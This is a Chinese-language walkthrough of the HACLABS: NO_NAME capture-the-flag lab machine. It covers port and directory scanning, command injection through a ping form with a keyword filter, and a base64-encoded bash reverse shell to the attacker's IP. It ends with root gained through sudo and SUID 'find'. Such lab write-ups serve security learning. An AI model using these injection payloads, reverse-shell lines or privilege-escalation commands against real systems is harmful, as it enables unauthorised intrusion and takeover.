HACLABS: NO_NAME
HACLABS: NO_NAME
1 信息收集
1.1 端口扫描
$ nmap -A -p - -T4 192.168.56.105 -oA hl
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-04 19:46 CST
Nmap scan report for 192.168.56.105
Host is up (0.00075s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (Ubuntu)
1.2 后台目录扫描
$ gobuster dir -u http://192.168.56.105/ -w /usr/share/wordlists/dirb/big.txt -t 100 -x php
/.htaccess (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/.htaccess.php (Status: 403) [Size: 279]
/.htpasswd.php (Status: 403) [Size: 279]
/admin (Status: 200) [Size: 417]
/index.php (Status: 200) [Size: 201]
/server-status (Status: 403) [Size: 279]
/superadmin.php (Status: 200) [Size: 152]
1.2.1 目录分析
http://192.168.56.105/
没啥东东检查
http://192.168.56.105/admin
页面源码发现ctf-01.jpg
图片下载
http://192.168.56.105/ctf-01.jpg
到本地,并检查该图片的属性$ exiftool ctf-01.jpg
ExifTool Version Number : 12.39
File Name : ctf-01.jpg
Directory : .
File Size : 1273 KiB
File Modification Date/Time : 2020:01:08 03:47:07+08:00
File Access Date/Time : 2022:04:04 22:19:38+08:00
File Inode Change Date/Time : 2022:04:04 22:19:38+08:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.02
Resolution Unit : inches
X Resolution : 300
Displayed Units X : inches
Y Resolution : 300
Displayed Units Y : inches
XMP Toolkit : Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22
Format : image/jpeg
Title : Print
Metadata Date : 2020:01:08 01:13:40+05:30
Modify Date : 2020:01:07 19:43:46Z
Create Date : 2020:01:08 01:13:40+05:30
Creator Tool : Adobe Illustrator CC 23.0 (Windows)
Thumbnail Width : 256
Thumbnail Height : 184
Thumbnail Format : JPEG
Thumbnail Image : (Binary data 9857 bytes, use -b option to extract)
Instance ID : xmp.iid:a3412909-d8a8-6648-a5ed-31d06952aaad
Document ID : xmp.did:a3412909-d8a8-6648-a5ed-31d06952aaad
Original Document ID : uuid:5D20892493BFDB11914A8590D31508C8
Rendition Class : proof:pdf
Derived From Instance ID : xmp.iid:5503d873-2c2c-9f48-8331-30e4ed0ca93d
Derived From Document ID : xmp.did:5503d873-2c2c-9f48-8331-30e4ed0ca93d
Derived From Original Document ID: uuid:5D20892493BFDB11914A8590D31508C8
Derived From Rendition Class : proof:pdf
History Action : saved, saved
History Instance ID : xmp.iid:84756610-1bdf-6b45-96c1-43e0a804304d, xmp.iid:a3412909-d8a8-6648-a5ed-31d06952aaad
History When : 2020:01:07 19:14:17+05:30, 2020:01:08 01:13:40+05:30
History Software Agent : Adobe Illustrator CC 23.0 (Windows), Adobe Illustrator CC 23.0 (Windows)
History Changed : /, /
Startup Profile : Print
Producer : Adobe PDF library 10.01
DCT Encode Version : 100
APP14 Flags 0 : [14], Encoded with Blend=1 downsampling
APP14 Flags 1 : (none)
Color Transform : YCbCr
Image Width : 3509
Image Height : 2482
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 3509x2482
Megapixels : 8.7
查看
http://192.168.56.105/superadmin.php
页面发现可以执行ping命令经过测试,发现只能执行以下命令:
# 构造payload
POST /superadmin.php HTTP/1.1
Host: 192.168.56.105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.105/
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1 pinger=127.0.0.1+|+id&submitt=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 # 得到执行结果
uid=33(www-data) gid=33(www-data) groups=33(www-data)
此处没有什么思路,后面查看提示得知还可以查看当前页面的源代码:
命令注入小技巧:可以尝试是否可以获得当前页面源码
# 命令注入:
127.0.0.1 | cat superadmin.php # 得到superadmin.php页面源码
<form method="post" action="">
<input type="text" placeholder="Enter an IP to ping" name="pinger">
<br>
<input type="submit" name="submitt">
</form>
<?php
if (isset($_POST['submitt']))
{
$word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");
$pinged=$_POST['pinger'];
$newStr = str_replace($word, "", $pinged);
if(strcmp($pinged, $newStr) == 0)
{
$flag=1;
}
else
{
$flag=0;
}
} if ($flag==1){
$outer=shell_exec("ping -c 3 $pinged");
echo "<pre>$outer</pre>";
}
?>
2 命令注入利用
2.1 尝试反弹Shell
bash -i >& /dev/tcp/192.168.56.102/2333 0>&1
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMi8yMzMzIDA+JjE=" | base64 -d | bash -i
2.2 成功反强shell
$ nc -nvlp 2333
listening on [any] 2333 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.105] 47822
bash: cannot set terminal process group (636): Inappropriate ioctl for device
bash: no job control in this shell
www-data@haclabs:/var/www/html$
2.3 切换python Shell
python3 -c "import pty;pty.spawn('/bin/bash')"
3 提权
3.1 尝试提权
查看当前系统的cap权限设置
www-data@haclabs:/var$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
查看
/etc/passwd
www-data@haclabs:/var$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin
avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
whoopsie:x:112:117::/nonexistent:/bin/false
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:114:119::/var/lib/saned:/usr/sbin/nologin
avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
colord:x:117:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:118:7:HPLIP system user,,,:/var/run/hplip:/bin/false
geoclue:x:119:124::/var/lib/geoclue:/usr/sbin/nologin
gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
haclabs:x:1000:1000:haclabs,,,:/home/haclabs:/bin/bash
mysql:x:122:127:MySQL Server,,,:/nonexistent:/bin/false
yash:x:1001:1001:,,,:/home/yash:/bin/bash
得到yash家目录下的flag信息:
www-data@haclabs:/home/yash$ cat flag1.txt
Due to some security issues,I have saved haclabs password in a hidden file.
搜索yash用户创建的文件,得到关键信息:
www-data@haclabs:/var/www$ find / -user 1001 2>/dev/null
/home/yash
/home/yash/flag1.txt
/home/yash/.bashrc
/home/yash/.cache
/home/yash/.cache/motd.legal-displayed
/home/yash/.profile
/home/yash/.bash_history
/home/yash/.gnupg
/home/yash/.gnupg/private-keys-v1.d
/home/yash/.local
/home/yash/.local/share
/home/yash/.local/share/nano
/usr/share/hidden
/usr/share/hidden/.passwd
查看
/usr/share/hidden/.passwd
文件内容www-data@haclabs:/var/www$ cat /usr/share/hidden/.passwd
haclabs1234
得到haclabs家目录下的flag信息:
www-data@haclabs:/home/haclabs$ cat fla
I am flag2 --------------- ---------------- --------
3.2 切换用户
利用上一步收集的信息,尝试切换用户
www-data@haclabs:/var/www$ su - haclabs
Password: haclabs1234 haclabs@haclabs:~$ id
uid=1000(haclabs) gid=1000(haclabs) groups=1000(haclabs),4(adm),24(cdrom),30(dip),46(plugdev),116(lpadmin),126(sambashare)
查看haclabs用户所拥有的sudo权限
haclabs@haclabs:~$ sudo -l
Matching Defaults entries for haclabs on haclabs:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User haclabs may run the following commands on haclabs:
(root) NOPASSWD: /usr/bin/find
查看当前拥有sid权限的命令
haclabs@haclabs:~$ find / -perm -u=s 2>/dev/null
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/sbin/pppd
/usr/bin/pkexec
/usr/bin/find
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/arping
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/newgrp
3.3 sudo提权
haclabs@haclabs:~$ sudo find /etc/passwd -exec /bin/bash \;
root@haclabs:~# id
uid=0(root) gid=0(root) groups=0(root)
root@haclabs:~# cd /root
root@haclabs:/root# cat flag3.txt
Congrats!!!You completed the challenege!
() ()
\ /
----------
root@haclabs:/root#
3.4 find提权
haclabs@haclabs:~$ find /etc/passwd -exec /bin/bash -p \; -quit
bash-4.4# id
uid=1000(haclabs) gid=1000(haclabs) euid=0(root) groups=1000(haclabs),4(adm),24(cdrom),30(dip),46(plugdev),116(lpadmin),126(sambashare)
- 默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将 euid(即 suid) 强制重置为uid,使用
-p
能参数可以保留euid
HACLABS: NO_NAME的更多相关文章
- web基础---->request的请求参数分析
当contentType为application/json的时候,在servlet中通过request.getParameter得到的数据为空.今天我们就java的请求,分析一下request得到参数 ...
- 往Android SDCard中读写入数据
一.用Environment (写) 1.API获取sdcard的路径 File path=Environment.getExternalStorageDirectory(); path=new Fi ...
- VxWorks6.6 pcPentium BSP 使用说明(二):创建启动盘
本篇介绍从Solaris.Linux.Windows或VxWorks创建VxWorks启动盘的方法. 从Solaris或Linux创建启动盘 使用Solaris或Linux自带的工具/usr/bin/ ...
- obj-c编程15[Cocoa实例03]:MVC以及归档化演示样例
前面的博文里介绍了归档和解档,这里我们把它实际应用到一个简单的代码中去,将它作为一个多文档应用程序的打开和保存的背后支持.另外这里介绍一下MVC思想,这个在不论什么语言里都会有,它是一种设计思想,主要 ...
- obj-c编程15[Cocoa实例03]:MVC以及归档化示例
前面的博文里介绍了归档和解档,这里我们把它实际应用到一个简单的代码中去,将它作为一个多文档应用程序的打开和保存的背后支持.另外这里介绍一下MVC思想,这个在任何语言里都会有,它是一种设计思想,主要可以 ...
- Python Django 学习 (二) 【Django 模型】
注: 由于自己排版确实很难看,本文开始使用markdown编辑,希望有所改善 官方定义 A model is the single, definitive source of information ...
- tomcat源码---->request的请求参数分析
当contentType为application/json的时候,在servlet中通过request.getParameter得到的数据为空.今天我们就java的请求,分析一下request得到参数 ...
- C 语言跟 C++ 的差异比较
C++ 完整的 CHM 版离线手册,可以 从这里下载. C++头文件不必是 .h 结尾 C语言中的标准库头文件,例如 math.h 和 stdio.h,在C++中被命名为 cmath 和 cstdio ...
- LiteOS内核源码分析:任务LOS_Schedule
摘要:调度,Schedule也称为Dispatch,是操作系统的一个重要模块,它负责选择系统要处理的下一个任务.调度模块需要协调处于就绪状态的任务对资源的竞争,按优先级策略从就绪队列中获取高优先级的任 ...
- 2.4 C++STL deque容器详解
文章目录 2.4.1 引入 2.4.2 代码示例 2.4.3 代码运行结果 2.4.4 具体案例 总结 2.4.1 引入 deque容器类比vector容器来学习. deque为双向开口容器,见下图. ...
随机推荐
- 【CDH数仓】Day01:概念、环境搭建、CDH数仓搭建、用户行为数仓搭建
一.数仓之Cloudera Manager 1.CM简介 拥有集群自动化安装.中心化管理.集群监控.报警功能的一个工具 快速安装,快速运维,提高集群的效率 CM架构 2.阿里云服务器准备 注册账号 购 ...
- 出现报错:The field admin.LogEntry.user was declared with a lazy reference to 'api.user', but app 'api' isn't installed.解决方法
- java中的静态属性和静态方法
本文主要讲述java的静态变量和静态方法 静态变量和静态方法,随着类加载完成,而完成,随着类的消失,而销毁. 静态方法只能调用静态变量/方法:普通方法,既能调用静态变量/方法,也能调用非静态变量/方法 ...
- python 之列表(list)处理
列表(list) 创建一个列表,只要把逗号分隔的不同的数据项使用方括号括起来即可,一个列表中的数据类型可以各不相同,可以同时分别为整数.实数.字符串等基本类型,甚至是列表.元组.字典.集合以及其他自定 ...
- texlive安装与vscode环境配置
环境 系统:windows10 texlive下载 下载地址: 官网:http://tug.org/texlive/ 清华镜像源: https://mirrors.tuna.tsinghua.edu. ...
- Ng-Matero v15 正式发布
前言 Angular 按照既定的发版计划在 11 月中旬发布了 v15 版本.推迟了一个月(几乎每个版本都是这个节奏),ng-matero 也终于更新到了 v15.其实 ng-matero 本身的更新 ...
- day01-ES6新特性
ES6新特性 1.ES6是什么? DCMAScript 6.0(以下简称ES6)是JavaScript语言的下一代标准,2015年6月发布 ES6设计目标:达到JavaScript语言可以用来编写复杂 ...
- Java开发网络安全常见问题
Java开发网络安全常见问题 等闲识得东风面,万紫千红总是春 1.敏感信息明文传输 用户敏感信息如手机号.银行卡号.验证码等涉及个人隐私的敏感信息不通过任何加密直接明文传输. 如下图中小红书APP 的 ...
- vue-element-admin 安装(node方式)
vue-element-admin node方式安装 需要的环境: git .node.js 1.git clone 项目(2选 1) // github https://github.com/Pan ...
- Git操作不规范,战友提刀来相见!
年终奖都没了,还要扣我绩效,门都没有,哈哈. 这波骚Git操作我也是第一次用,担心闪了腰,所以不仅做了备份,也做了笔记,分享给大家. 文末留言,聊聊你的年终奖. 问题描述 小A和我在同时开发一个功能模 ...